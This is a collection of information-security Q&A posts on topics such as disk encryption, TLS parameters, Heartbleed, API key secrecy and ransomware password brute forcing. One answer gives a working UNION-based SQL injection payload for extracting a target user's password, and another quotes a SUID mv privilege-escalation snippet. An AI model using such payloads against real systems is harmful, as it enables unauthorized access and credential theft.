Now, remember that LUKS uses some salt + PBKDF2 to stretch your pass phrase to the size of the key space.   What this means is that even a password of "a" can map to any possible spot in the entire key space.  So attackers aren't going to have a rainbow table that will help here.

If they're going to brute force the pass phrase, they will have try all the possible inputs, running each through the key derivation function with the parameters used on your volume (salt & iterations).  That takes time.  And, if memory serves, LUKS actually sets the iterations to take a specific amount of time per "try."

What this means is that you simply need a pass phrase length that has enough entropy to make it unfeasible for an attacker to try a sufficient number of possible phrases to locate your phrase.   The attacker can of course use GPUs or specialized ASIC hardware to speed this process up (its why folks are experimenting with things like Scrypt to make that harder), but you will be more than protected with 20 to 30 characters containing lowercase, uppercase, numbers and keyboard symbols (including symbols from shifted numbers and other symbols on the keyboard).

This brings me back to my initial comment.   Its important to keep in mind the trade offs.  You can try to come up with a pass phrase that is equivalent to the difficulty of your 512 bit key space, but it will IMPACT your behavior.   You might find yourself not dismounting / logging off when you get up to get a cup of coffee because its such a pain to get that pass phrase right when its time to log back in.  You might store the long pass phrase on a phone or piece of paper.   If you store it in a password manager, you will be limited by the security of the password manager and not the security of the length of your pass phrase.

Meanwhile, once an attacker has to try 20 to 30 characters of pass phrase utilizing 93 possible characters, the attacker is facing (effectively) 95 to 150 bits of entropy which puts it outside of the reasonable range of brute force.

And, all of which leads back to that third possibility of getting into your volume.  Compared to brute forcing the key to the encryption primitive or trying all the possible pass phrases, the third scenario "COMPROMISE" is really what you should be worrying about.   An attacker that gets you to point a compromised web browser at an exploit that gives escalated privileges on your running system can scan the memory for your password.   An attacker that gets a rootkit on your system can do the same.   If you plug in a compromised USB or firewire device, you're potentially compromising security.   And these are all much easier for the attacker than brute forcing the keyspace or pass phrase space.


SQL injection using union statement I have a table with lots of user info - email, password and others. The server performs this query without using prepared statements:

SELECT * FROM login where email = '$_POST';

I want to do an SQL injection with the post variable to get the password column named as first_name in order for it to be printed in the page HTML. first_name is also a column name in the table.

I tried this but it won't work:

SELECT * FROM login where email = '1' or '1' = '1' union select null, first_name, null as col, null as col, null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col from login;

Any ideas on how to achieve this?

To me it looks like your problem is not so much with the injection as it is with the SQL.

You are just selecting first_name from login. You are not selecting password. In an SQL UNION, the column names will be taken from the first query, so you don't have to bother renaming anything. However, if the password is the Nth field in the first query, it must also be the Nth field in the second query. Since the names in the second part is irrelevant you don't nead any AS.
Also, you must make sure that both queries have the same number of columns with the same types!
It looks like the original query only expect one row as a result, so you should probably honor that expectation by adding a where clause. Now you are first selecting all rows in login once in the left part (since 1 = 1 is always true), and then you are selecting each row again in the right part.

You probably want to end up with a query a bit like this:

SELECT * FROM login WHERE email = 'doesnotexist'
UNION ALL
SELECT null, password, null, ... FROM login WHERE email = 'admin@example.com'

Note that in the above query you have made sure the first part don't match anything. Then in the second part you pick your target email and take care that the password end up in the username column (second column in this example).


Is it safe to disable SATA ports in the BIOS to isolate the corresponding hard drives from malware? I have three SATA hard drives that I use every day. Suppose I disable the corresponding SATA ports of these hard drives through my BIOS, add another storage device to my PC, install another instance of Windows 10 and run unsafe executables on it - would my three SATA hard drives be completely isolated and safe?

As I understand it, unmounted partitions are at risk, but not partitions that I exclude by disabling the corresponding SATA ports.

Is this correct?

BIOS is software, malware is software, they potentially have the same capabilities.

I would go with a physical barrier: unplugging the drives or disconnectng their power supply.


How to find the DH prime value (if 1024 or 2048) from Internet? I have to ensure that the server when communicating on the Internet needs to have DH prime value of 2048 bits or greater.

I can find out the cipher suites that are used but cannot derive the DH prime value from that. If there is an online portal or a hack which lets you understand the strength of the DH prime value being exchanged then please let me know.

I assume you are trying to check the length of the DH parameter for a TLS-secured service.

If you have access to the server, you can check it's configuration. It is usually configured together with the other TLS parameters of your (web?-)server.

If you don't have accees, you could use sslscan :.

Example:

> **sslscan 192.168.X.X:443**
Version: 1.11.12-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Connected to 192.168.X.X

[...]

  Supported Server Cipher(s):
Preferred TLSv1.2  256 bits  ECDHE-RSA-AES256-GCM-SHA384   Curve P-384 DHE 384
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-GCM-SHA384     DHE 1024 bits
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA384       Curve P-384 DHE 384

If you are not looking for the length, but the actual content of the parameter, you will require access to the server.


SMTP Strict Transport Security vs Zix I've read that Google, Microsoft, and Yahoo have banded together to introduce a new protocol for email encryption -  SMTP Strict Transport Security. From my understanding of it, it seems that it's just a way to make TLS mandatory as opposed to opportunistic. Am I missing something? What exactly does the new protocol accomplish.

Secondly, does the new protocol supplant the need for a service likes Zix that provides end-to-end encryption?

SMTP is a hop-by-hop protocol where the mail is transferred from the client to the recipient by using at least one intermediary server. Even when SMTP is used with TLS the mail is available at all hops as plain text, i.e. no end-to-end encryption. SMTP Strict Transport Security does not change this: all it tries is to make sure that the transport of the mail between the hops is properly secured. But the mail is still available in plain on each hop and can be read and even modified by anyone having access to this hop (i.e. system administrators, and maybe hackers and government too).

Solutions like PGP or S/MIME instead offer end-to-end security. In this case the mail gets encrypted by the sender with the public key of the recipient, so that nobody except the owner of the secret private key (i.e. the recipient) can decrypt it. The mail then gets transferred by the usual SMTP protocol but nobody in between can decrypt the body of the mail (the header is not encrypted).

I cannot extract sufficient technical details about Zix from their home page but it looks like that they are basically using the same ideas as PGP and S/MIME, i.e. end-to-end encryption using a directory of the recipients public keys. On top of maintaining this directory they offer clients which use this directory, gateways for transparent encryption and decryption to connect the usual mail clients and special mailboxes to connect with recipients which are not in the directory.


How do you protect strings in code from users decompiling them and seeing them For an example say we have an application such as a client based application which connects to an API using an api key. We are saying for this purpose there is no OAuth. How would a string or in this example an api key be hidden from the client. To be used it needs to be in the code which is on the clientside. How do we keep the string safe? If users decompile the code they could find the key.

This is a very basic example with solutions such as server siding the connection, but in general how do you protect strings that must be present in the code. Deobfuscation is a pain.

In short: you can't.

As long as someone has the local copy and the local copy is capable of retrieving this key, then someone could reverse engineer and get it. If someone had attempted to hide or obfuscate their code, then I would just step through the program in real-time or through IDA Pro. If at some point you store your key in a variable, then I'll grab it in memory. If you rely on some sort of algorithm, I'll reverse-engineer a working version by looking at how you do it.

Let me give you an example. There exists an RSA key on the Xbox 360 console to secure content made on the console such as save games. Both the private and public keys were stored in the kernel, and the RAM was completely encrypted. It took a long time, but someone was finally able to reverse-engineer the kerner enough to know the entire file structure, how the SHA blocks were created, and able to grab the RSA private and public keys. It took significantly longer since the system was secure, but they were still able to get it. From Microsoft's own console.

The only true way to hide something is to do the work on something you trust, aka the server.


Is it a good practice to connect to my IP camera using a VPN? I have an IP camera at home that we mainly use as a baby monitor. The live video can be accessed using a client/app on my phone or a web interface on the browser.

I know nothing about the way/protocol that is being used to transmit the
video and if it's encrypted or not.
I worry that someone can hack the web interface since it exposed to the entire world.

Is it a good idea to restrict the access to the camera except from the local network and instead use a VPN client to connect to my home router?

IOT devices including baby monitors are infamous for a lot of security issues. Majority of them even allows an unrestricted, unauthenticated access to the camera feed if you port forward it through the router [And surprisingly, they advice you to IP forward them as well!].

I agree with your concerns and believe that it would be a very good idea to restrict access to the device from any other network other than the local network. Even if the interface is password protected, they are likely to have authentication flaws as these devices infamous for such flaws.

Have a look at the Shodan database nd you will get an idea how many of these devices have known back-doors and default accounts enabled. From shodan you can even see a lot of such accessible cameras! Creepy, isn't it?

https://www.shodan.io/explore


Share certain information only after death After your death, you want to make sure that a special someone gets a vital piece of information (like the password to your bank account), but:

You don't want anyone else to be able to get that information as long as you live.
You only want a particular person to get that information.

How would you do it?

A little more than a year ago, I was in a situation where I feared for my life. I gave this some thought and here's what I did.

I made a video recording containing everything I wanted people to know after I die, then I stored the video in a TrueCrypt volume and gave two copies to my two most trusted friends, and the password to my father and my then-girlfriend.

I told my dad and my then-girlfriend not to share the password with anybody, and told my trusted friends to share the file only with my dad and my then-girlfriend, and only after I die or after I'm reasonably believed to be dead (due to the nature of the danger, a sudden disappearance was a likely possibility).

The effectiveness of this arrangement comes from my trust in those people, a trust that has been built over many years. I've chosen this arrangement because I couldn't trust a purely automated solution. For example, I set up a Dead Man's Switch message that contained trivial to low-profile information, but at the time, there was a possibility that I'd disappear for weeks or months after which I could still be alive. In that period The Switch would have been activated.

Another solution is to hire a lawyer, draft your will, give him the password, and instruct him to share it only in the case of your death. This way, your password is safe by the power of the law (your lawyer can't breach the confidentiality, and even if he did, the files are with other people). Your lawyer has no access to the information, and your loved ones will get the password after your death.


How did FBI/DoJ retrieve the data stored on the encrypted iPhone? Quote from The New York Times:

  The Justice Department said Monday that it had found a way to unlock
  an iPhone without help from Apple, allowing the agency to withdraw its
  legal effort to compel the company to assist in a mass-shooting
  investigation.

How was it done? Is this some undisclosed 0-day, or bruteforce, or was done through a direct hardware access?

[Update #2]

According to the Washington Post, sources familiar with the matter, have stated that the initially suspected collaboration with Cellebrite is not how the data from the encrypted iPhone was recovered. Instead an unknown security vulnerability was used (purchased) from "professional hackers" to prevent the phone from erasing its data and slowing down the passcode check. This would mean that the FBI probably brute-forced the passcode once those iPhone security measures had been deactivated.

https://www.washingtonpost.com/world/national-security/fbi-paid-professional-hackers-one-time-fee-to-crack-san-bernardino-iphone/2016/04/12/5397814a-00de-11e6-9d36-33d198ea26c5_story.html

@Gandalf brought to our attention that the DOJ has now confirmed they successfully accessed the iPhone 5C and can indeed access any iPhone 5C running iOS 9 this way: http://money.cnn.com/2016/03/28/news/companies/fbi-apple-iphone-case-cracked/index.html

There is a good article about the current known facts here:
http://www.bloomberg.com/news/articles/2016-03-28/u-s-drops-apple-case-after-successfully-accessing-iphone-data-imcj88xu

  The official declined to provide any details, such as what was on the
  phone, the identity of the third party or how the method worked. The
  official also declined to say whether the U.S. will give Apple details
  about the hacking method.

According to other news reports the FBI decided to go with a company that stated it could unlock the phone for them. Something that had been suggested to be possible for a while. They did not specify which company / third party is going to do this, but several articles suggest it's an Israeli Company, named "Cellebrite":

Original Report: http://www.ynetnews.com/articles/0,7340,L-4782246,00.html

http://www.theverge.com/2016/3/23/11290374/apple-iphone-fbi-encryption-crack-cellebrite
http://www.reuters.com/article/us-apple-encryption-cellebrite-idUSKCN0WP17J

The speculation is suggesting NAND mirroring to be used to gain access to the device memory and copy everything to another device, but at this point the exact how-to is not publicly known.

This article also found a recent contract reference between that company and the FBI: http://www.macrumors.com/2016/03/23/fbi-israeli-firm-cellebrite-to-unlock-iphone/

They also speculate about a microchip attack and brute-forcing the passcode once the data has been extracted from the device, but the company is likely going to remain very quiet about the exact "how-to" and so will the FBI for obvious reasons.

[Update #1]
The EFF has published a statement that suggests any used security vulnerability might be reported to Apple, if the FBI was to follow the guidelines that the EFF had previously acquired through a freedom-of-information lawsuit: https://www.eff.org/deeplinks/2016/03/fbi-breaks-iphone-and-we-have-some-questions


Simple, Secure PHP API Design I'm trying to design a secure RESTful API web service with as few moving parts as possible. I have some questions, and want to make sure my design is secure.

For the data transmission level of security, I'm going to use SSL/TLS to prevent interception, MITM, replay attacks, etc.

What that leaves is access control.

I have no desire to fight with OAuth. The reason being, I do not want to rely on a third party, and setting up local servers as the "authenticator" (or whatever OAuth calls it) isn't feasible.

So I was going to rely on a random token. Using a CSPRNG library (e.g., $token = random_bytes(32) in PHP), I plan to assign each username/password a $token, and store it in the DB using a password storage function (e.g., PBKDF2 or bcrypt). The token would also be retrieved by the user via SSL/TLS.

Then, on each request, the user will submit the token along with their JSON data. If the token they pass exists in the DB, the API call is processed.

This leaves me with quite a few questions:

Can the token stay consistent (short of revocation or manual refresh), or should the token require being "refreshed" frequently? If so, what is the feasible way to handle that? Forcing the user to log into a web page to gain access to the new token seems to defeat the purpose of an API. This seems to indicate that it's at best a controversial point.
What is the advantage of putting the token in an HTTP header (e.g., Authorization: Token SOMERANDOMVALUE) versus just stuffing it in the body of a JSON request? Either way, I'm not going to do anything with the request unless authentication succeeded. I was going to put it in the header anyway, but I was just curious.

Also, if anyone has any trustworthy sources to learn more about building secure API's, I'd really like to read them.

Can the token stay consistent (short of revocation or manual refresh), or should the token require being "refreshed" frequently? If so, what is the feasible way to handle that?

Even though if you don't want to implement OAuth I recommend to take a look at how the token handling is done in OAuth (Paragraph 1.5 and 1.5). With refresh tokens you can reduce the window of exposure if the bearer token got compromised while avoiding to ask the users to provide their credentials repeatedly.

  What is the advantage of putting the token in an HTTP header (e.g., Authorization: Token SOMERANDOMVALUE) versus just stuffing it in the body of a JSON request?

AFAIK it's done because this header field is intended for this purpose. In practice it heavily depends on the use-case. Since there is the risk that the Authorization header is automatically send by some browsers which could introduce a CSRF vulnerability, it might be not desired to do it this way if you don't want to implement a CSRF-token. So adding the authentication information to the body or a custom header field is totally ok.

Have a look at the REST Security Cheat Sheet by OWASP for more tips on secure API design. Actually the entire site is interesting  - it's a very good starting point for developing a better understanding for information security.


HTTP daemon and Webroot permissions We have a contracted web developer that uses deployment scripts to update and deploy web sites. In order for them to work they require write access to the whole webroot through the httpd user.

I have tried to convince them to upload their changes by ftp or even scp, they just don't want to.

Can you provide me with authorative sources that agree with my position? (supposing I am right with my concerns, please let me know if I am wrong)

I think you are correct if the httpd user has more rights than the dev should have.

Also when I have my rules and the dev doesn't want to hear them, I just pass the work to the next guy in the row.

The risks:

They need shell access to your machines
They need access to the httpd user (they can control your webservers basically)

Any of the above means they can mess around with stuff they shouldn't be messing about with. Apart from that they can configure your webserver to ONLY work with their scripts, meaning that if you ever break contract with them, you will be in a lot of hurt to get this fixed. (This is a possibility, not saying they will)

If you allow them shell access I advice you to, by contract(!), draw out what they can touch and what they can't. (talk softly with a big stick)

Like you are saying, if their scripts should only be writing to a certain dir, then there is definitely no need to give them anything else than a shell that can write into the webfolder. If they need access to certain configuration files, you can add them to the httpd group. If they need access to restart a webserver, you just give them sudo for the restart command.

Never give anyone more clearance than they need to get the job done. If marketing  persists you outline very carefully what can happen if these devs fail and create downtime and how this can affect company image. Make sure you cover yourself as well.

EDIT

They want to run their own access scripts as a httpd user so they can have full write access with a browser?

This is not really a good idea, if that thing gets breached you are in for a lot of hurt.

The best thing I can come up with at the moment is this nist guide: http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf (check chapter 5.2)

an article by searchsecurity on why you should use a dev server:

http://searchsecurity.techtarget.com/tip/Six-steps-to-securing-your-Web-server


Would the Heartbleed bug have been prevented if OpenSSL was written in Go/D/Vala? IIUC the Heartbleed vulnerability happens due to a bug in the C source code of OpenSSL, by performing a memcpy() from a buffer that is too short. I'm wondering if the bug would have been prevented automatically in other languages that have higher-level memory management systems than C or C++.

In particular, my understanding is that Go, D and Vala each compile to native code, don't need a VM to run, and should allow writing native libraries which provide a C-compatible binary interface.

So, could these languages be used to implement the OpenSSL library with the same interface, and would they offer protection against bugs like the Heartbleed vulnerability?

Actually none of these languages would have prevented the bug, but they would have lessened the consequences.

OpenSSL's code is doing something which, from the abstract machine point of view, is nonsensical: it reads more bytes from a buffer than there actually are in a buffer. With C, the read still "works" and returns whatever bytes lingered after the buffer. With stricter languages, the out-of-bounds memory access would have been trapped, and triggered an exception: instead of reading and sending the bytes, the offending code would just crash, leading (in the context of a Web server) to termination of the current thread and probably closure of the connection, without altering the rest of the server.

So, still a bug, but no longer a real vulnerability.

This has only an indirect relationship with automatic memory management. The real safety net here is the systematic array bounds check on accesses. That systematic check is then indirectly supported by the strict typing (which prevents using anything else than an "array of bytes" as an "array of bytes"). Strict types are themselves indirectly supported by the automatic memory management (the GC), because it prevents dangling pointers and thus the use-after-free conditions which violate strict typing.

The recent "heartbleed" is not qualitatively new thing; OpenSSL already has had quite a few of buffer overflow-related bugs over the years (a number of which coming from the ASN.1 handling code, for certificate parsing). This one is just another to the list.


Data too large for key size while trying to sign then encrypt I'm not very experienced in the security field, but I'm trying to sign then encrypt a large folder in order to deal with software updates in some machines that will be offline. I've thought about generatic a key pair which my company will keep in secret and will be deployed in each of the machines. I've used this commands in order to generate the key pair:

openssl genrsa -des3 -out private.pem 2048

Then:

openssl rsa -in private.pem -outform PEM -pubout -out public.pem

Now I'm writing one script in order to zip one folder, use aes-256 symmetric encryption with a random password over it and then sign and encrypt the password using my newly generated keys:

#!/bin/bash

zip update.zip update/*
#Generate a random password
openssl rand -hex 16 > symmetric_keyfile.key
#Encrypt the file with the random password
openssl aes-256-cbc -a -salt -k symmetric_keyfile.key -in update.zip -out update.zip.enc
rm update.zip
#Sign the password with the private key
echo 'Signing...'
openssl rsautl -sign -inkey private.pem -in symmetric_keyfile.key -out symmetric_keyfile.key.sign
#Encrypt the password with the public key
echo 'Encrypting...'
openssl rsautl -encrypt -inkey public.pem -pubin -in symmetric_keyfile.key.sign -out symmetric_keyfile.key.enc
#Zip both files
zip update.zip symmetric_keyfile.key.enc update.zip.enc

However I've got this error while encrypting:

adding: update/deploy.zip (stored 0%)
Signing...
Enter pass phrase for private.pem:
Encrypting...
RSA operation error
140035711579800:error:0406D06E:rsa routines:RSA_padding_add_PKCS1_type_2:data too large for key size:rsa_pk1.c:153:

I guess it's related with the signed key being to large to be encrypted. The size of it is 256 bytes. Any ideas?

Based on this comment you can encrypt at most 214 bytes using 2048 bits RSA key.

When i run the same operation you did, i get the following:

$ ls -lah
total 44K
drwxr-xr-x  3 my_user my_user 4.0K Sep 27 10:50 .
drwxrwxrwt 20 root       root       4.0K Sep 27 10:49 ..
-rw-r--r--  1 my_user my_user  658 Sep 27 10:49 pouet.sh
-rw-------  1 my_user my_user 1.8K Sep 27 10:49 private.pem
-rw-r--r--  1 my_user my_user  451 Sep 27 10:50 public.pem
-rw-r--r--  1 my_user my_user   33 Sep 27 10:50 symmetric_keyfile.key
-rw-r--r--  1 my_user my_user    0 Sep 27 10:50 symmetric_keyfile.key.enc
-rw-r--r--  1 my_user my_user  256 Sep 27 10:50 symmetric_keyfile.key.sign
drwxr-xr-x  9 my_user my_user 4.0K Sep 27 10:49 update
-rw-r--r--  1 my_user my_user 3.5K Sep 27 10:50 update.zip
-rw-r--r--  1 my_user my_user 4.2K Sep 27 10:50 update.zip.enc

Since you're trying to encrypt symmetric_keyfile.key.sign which is 256 bytes, the failure is quite normal.
Given my poor skills regarding crypto, i would suggest that you do not sign your key before encrypting.
In my opinion, this step is useless...


7z "Copy 7zAES" algo brute force with 32 char password for when original file is available (QNAP QLocker ransomware) As some in here might know, there is/was a ransomware attack going on worldwide that used 7z to encrypt all files <20MB for a ton of users world wide.
Each user has a unique 32 char password (Upper & lowercase & Numbers - 62 possibilities, no special char where used)
the command line that was being used was a -mx = 0 -sdel -pmFyBIvp55M46kSxxxxxYv4EIhx7rlTD [FOLDER PATH]
(Note: sample password)
Given

we know the length
we know the characters used
we know the plain text

Is it doable to speed up a brute force attack. Or can you explain to me, why the 7z encryption algorithm might be protected against something like this?
e.g. I have this file and I still have the original on backups
Output of 7z l -slt playback.m3u.7z :
1 file, 274 bytes (1 KiB)

Listing archive: playback.m3u.7z

--
Path = playback.m3u.7z
Type = 7z
Physical Size = 274
Headers Size = 146
Method = Copy 7zAES
Solid = -
Blocks = 1

----------
Path = playback.m3u
Size = 122
Packed Size = 128
Modified = 2017-07-13 15:40:12
Attributes = A_ -rwxrwxr-x
CRC = 8CEF1157
Encrypted = +
Method = Copy 7zAES:19
Block = 0```

Looking forward to your responses
Leo

AES is not vulnerable to plain text attack.
There are 62 (you didn't account for special characters but we'll stick with 62) possibilities for the first character.
There are 62 possibilities for the second character, meaning 62*62 or 62 to the power of 2 combinations (technically a permutation) for the first 2 characters.
Likewise 62 to the power of 3 combinations for the first 3 characters.
Ultimately there are 62 to the power of 32 combinations for all 32 characters, or over 2 x 10 to the 57th power.
There are 3x10 to the 7 seconds in a year. Assuming you test a billion passwords a second that's ... longer than you can wait.


Are VPNs useless if end point countries have data retention laws If I establish a VPN from my PC (in Australia, say) to a foreign VPN server (say in UK) then my ISP will see a single connection and can retain this information.

This foreign VPN server will be connected to an ISP which, for question sake, is also subject to UK data retention laws.

If these two countries cooperated, is it straightforward to correlate packets sent and received to determine what sites I browse over this VPN?

Yes, it is often fairly straight-forwards to correlate the requests if someone considers it important enough. Rather depends on what you are doing though.

If you wanted to make it harder, you should use the most commonly used VPN service possible (helps hide traffic in the noise) and connect via ToR. Of course, that would probably be totally unusable if you wanted to watch the latest episode of East Enders on the BBC ;-)

Even then, that wouldn't be safe if someone suspected that it was you connected to something because then they could still track the origin (you) and the end-point. There have been a number of high-profile take-downs using this method.


Using Python for security I love using Python for the scripts I need and for work. But I really want to learn Python for network security since I will start a NS course next year.

My question would be how would it be the best way to learn? I was thinking of starting by writing a network sniffer or a like, but I think this is a bit to high to start learning (correct me if I am wrong), what would be the basic tool to code for the learning?

I would recommend take a look at scapy ( http://www.secdev.org/projects/scapy/ ). While "python for network security" is quite unclear ( ie, for testing network security, for analysis, etc ), I think scapy would be a good tool to add to the tool box of someone learning security.


When I enable ssl3-methods but disable ssl3 in OpenSSL I need to compile a tls scanning tool and I want to use OpenSSL1.1.0g. The tool uses the library and compiles it in the build file. Unfortunately the tool does not successfully build when my OpenSSL configuration does not explicitly enable ssl3-methods. When I configured OpenSSL with: enable-ssl3-method the tool successfully compile. I then tried to disable ssl3 so I have:

no-ssl3 enable-ssl3-method

It also compiles. I do not get the difference between the two. I need the tool not to negotiate TLS with SSLv3 and also not accept it if it is the only supported version by the server.

Can anyone clarify if this configuration ok? what is the difference between the two options? Will they prevent client support for SSLv3?

Unfortunately I can not even test the version by connecting to a SSLv3 server. The tool parse TLS 1.0 and TLS 1.1 as SSL3, but this is not an issue with me as long as it does not accept handshek with SSLv3.

The disable-ssl3 (or no-ssl3) option will prevent the SSL 3.0 protocol version from ever being negotiated in the library. This is done by default since OpenSSL 1.1.0 (but of course defaults can be changed).

The enable-ssl3-method option controls what part of the code will be built. If your legacy application links to the SSLv3_method function, then this option must be set if you want to use your legacy application unchanged. I believe that even with this option, no SSLv3.0 will be negotiated if disabled before with disable-ssl3.

Also note that the disable-ssl3-method option implies disable-ssl3.

Applications should use TLS_method instead of the more specific SSLv3_method, TLSv1_method, TLSv1_1_method, etc.


Trust a possibly compromised system for iso downloads My only operational computer has shown some wierd signs like disapearing logs, rotated logs gone random files getting updated and so on.

Tho this is my only operational computer and I have decided to nuke it. My question is can I trust this system to download and burn my OS? If not what can I do to nuke this computer safely.

Get a trusted computer, download the ISO on there and use that as installation disk.


What do I need to do when Facebook says: "Your computer needs to be cleaned"? I am not sure if this is the correct community for this post. If not please refer me to the correct one.

I am getting a "Your computer needs to be cleaned" error message when trying to login into Facebook on a specific laptop with 2 specific accounts. these two accounts are working perfectly fine on another PC and a third account is working without any problem on that PC. Facebook then offers to continue and install one of two programs to handle the threat. one of which is f-secure and the other is Trend-Micro. It seems wired to me that Facebook not only recommends specific brands but two that I have never header of. after a short research online I have found that half the posts says it is legit and the other half points out its a virus and offers unsuccessful (so far) methods for removing it. i have tried a malwarebyte and ESET scan as well to no avail.

Please help me figure out what to do.

The message means that Facebook has received some unusual requests from your computer, like for example a large number of attempts to guess passwords for different accounts or attempts to post spam. So Facebook assumes that you have some kind of malware on your computer and recommends you to install a malware scanner to get rid of it. For more information check this article on facebook.com.

F-Secure and Trend Micro are quite well-known malware scanners, but not particularly better or worse than all the others on the market. Why does Facebook recommend those two? Only they know. Maybe they have an advertising deal, or maybe some admins at Facebook just like them. Whatever reason, when you don't trust the links provided by Facebook and don't trust my links either, just look up their websites in your preferred search engine.

However, Facebook can not know what kind of malware exactly you have on your computer, so there is no guarantee that these scanners will be able to find and clean it. And we have even less information about what malware you could have than Facebook does, so we can not offer you any advise except the usual procedure which will work on almost any malware: Format your computers hard drives, reinstall the operating system from scratch and restore your personal data from your backups. You do have backups, don't you?


Command line tools exploitable on linux I'm looking this interesting project

https://gtfobins.github.io/

But I don't understand some assumption. For example, if you consider the mv command:

https://gtfobins.github.io/gtfobins/mv/

They say it can be exploited to access filesystem and escalate privileges. Then they make an example about SUID:

sudo sh -c 'cp $(which mv) .; chmod +s ./mv'
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./mv $TF $LFILE

Ok, I gave SUID permissions to mv and it can be used to write in a non-permitted file.

Why is it so strange?Every SUID file can potentially do it, or not?

Moreover I've never seen any default configuration of mv with SUID bit set. Why is it considered dangerous?

Looks like you got your question answered by a project member on the project's issue tracker:

I think you already have you question answered, but let me add
something.
"Every file with the SUID bit can be potentially dangerous"
Well not exactly, there are perfectly legit binaries that can only
operate as SUID (root), e.g., passwd, ping, etc. even su or sudo and
that are not considered dangerous at all as is (unless bugged on
misconfigured). For example, only who knows the root password can
use su.
"I've never seen mv with SUID bit set in any distribution"
That's right, but misconfigurations happens. GTFOBins may help the following example workflow:
enumerate all the SUIDs and programs executable via sudo (with known
credentials);
look them up in GTFOBins;
understand what you can do with them and exploit them (attack
scenario) or fix them (defense scenario).
I agree that binaries like mv are trivial, but are there mainly for
completeness.

Unfortunately, I see a lot of people online misinterpreting the site, and assuming that they can "exploit" one of those binaries by following the PoC verbatim (i.e. trying to set a binary as SUID when it is not already that way). But if you know the appropriate usage of the site, it can be a useful tool in your toolbox for both attack and defense, and may be quicker than digging through the manpage for the binary (although this should likely be something you do anyway).


Help converting string to NTLM I'm trying to covert a string into a NTLM hash. From what I understand you just have to covert the characters in the string to unicode, format it to little endian and then hash it with the MD4 algorithm. I tried both little and big endian but haven't had any luck. This is what I've got so far:

hello
0068 0065 006C 006C 006F
006F 006C 006C 0065 0068
0x0068 0x0065 0x006C 0x006C 0x006F
0x006F 0x006C 0x006C 0x0065 0x0068

Of course I tried them without the white spaces. I got the info from here and here, the character from the table here and used this encrypter, but without good results.

What I want is someone to give me a good example of the string "hello" in unicode format and the right convertion to little endian in other words prep that string to be encrypted to MD4 so I can get the right NTLM hash.

another option is this super simple python snippet i use all the time:

import hashlib
print hashlib.new('MD4', 'password'.encode('utf-16le')).hexdigest()

notice the NT hash is a simple MD4 hash on a Little Endian encoded [UTF16][3] password, this script encapsulates this logic well.


What is the security significance of Keyboard and Touchpad controller chips? In this article from Privacy International, it indicates that when GCHQ undertook the task of destroying sensitive data on system belonging to the Guardian newspaper, in addition to the Storage media, they destroyed certain chips within the devices, amongst others chips relating to control of the Touchpad and keyboard.

So the question is, are there any known security reasons why these chips would need to be destroyed to prevent data recovery from a computing device?

A keyboard controller is a logical place for a state-level attacker to put a keylogger.  Designing a logging controller and placing it in a keyboard in place of the standard controller is beyond the resources of most attackers, but once placed, it's virtually impossible to spot.
A touchpad controller may record past mouse actions for calibration purposes, or, as above, it could be a mouse logger placed by a state-level attacker.
I have no idea why the inverting controller was destroyed.  As a power-management device, it's unlikely to be on a data path, and recovering data from power fluctuations is difficult except in a highly controlled environment.


Best practice for encrypted file (or password) recovery I am writing an app (Java) that stores potentially sensitive data in the cloud using a provider chosen by the user. So I am encrypting the files using AES/EAX + PBKDF2. That's the easy part, or so it seems.

I live in fear of the inevitable question: "I forgot my password, can you help?"

Thoughts so far are:

Nothing can be done: anything I do weakens encryption for everybody. This is the answer a purist would give, I think. But is not really an option since it doesn't actually address the problem of password or data recovery.
Generate a real random password and encrypt that with the users password and a random escrow password that I send to my server. This does not reduce the requests for help, but does provide a resolution but weakens everyones security.
Do #2, but do not send to server, store the escrow password with the data and encrypt it based on the answers to three user-selected questions. This could be optional.

I am leaning towards 3. By being optional, it only weakens your security if you choose to do so.

I'd be really curious to know if there are any known "best proactices" for this kind of thing. Everything I have read is about web/server password resets.

I responded on Stack Overflow, but I see this is posted here as well, so I repeat my answer from there:

You are dealing with a problem that a lot of serious security companies struggle with.  Briefly:

You are correct that #1 is the most secure option.  Some companies, such as SpiderOak, pride themselves that they are keeping the data so secure that not even they could access it under any circumstances.

If you do #2, then what is the point of encrypting on the client side in the first place?  It would make sense if all you want is performance benefits, not security benefits.

For #3: Secret questions do not work.

Another alternative of using secret sharing to allow some type of password recovery.  The user's password or the key that encrypts the user's data, is split into a number of shares that are distributed to trusted entities.  Recovering the password or key requires these entities to work together.  This prevents a single bad player from getting access to user data.  Generally, it is better to do this with the cryptographic key rather than the password (passwords are sometimes shared between different systems so a user should not want that anyone sees his password).  Unfortunately, this middle ground solution requires a lot of thought and implementation, and comes at an expensive administrative cost.


Is the unwanted PHP array to string conversion a security risk? During a penetration test I noticed that changing some of the HTTP GET parameters from expected strings to arrays using ?test[]=1 instead of ?test=1. In PHP this results either way in an error or in an unwanted Array to String conversion. Which (when errors are suppressed) results in the string "Array".

Does this introduce any security risk? Other than the tiny "risk" that it might give insight in used technology (PHP). Which is also detectable in a lot of different ways.

I once saw a similar case wherein the injection of a deep multidimensional array ?test[][][][][]=1 (times 100), resulted in a rapid exhaustion of resources (denial of service) since a recursive function started to process all that.

Being able to provoce a PHP error is always a bad sign, and it is worth looking into it in more detail or at least report it. How bad this is in practice can range from completely benign to absolutely catastrophic. It all depends on what the code does with the array it expects to be a string.

Lets take a look at a real world example from the bad end of that scale - Drupal security advisory SA-CORE-2014-005, or Drupalgeddon as it is more commonly known.

It was an SQL injection attack that worked because the programmeras had not expected that a query parameter would be an array. When it was, for some reason I do not fully understand the keys of that array were concatenated into an SQL query. You can see some example of payloads here.

So does this introduce risk? Potentially, yes.


What flexibility does a "Third party gamma" offer to U-Prove deployment? The U-Prove SDK has the following comment: (link)

// 1: CA-RA split (a party trusted by the issuer provides the gamma value)

Given that the Gamma value (if provided) overrides the Attributes value, does that mean the issuer can be separated into two IdPs that can have dedicated purposes?

e.g.

One secure IdP to verify the attributes
A second IdP generate the UProve token with no knowledge of the attributes

... and the only communication between the IdPs is the "gamma" value?

I try to answer your question (hope I understood it correctly, if not please let me know). I did not find the comment in the given link.

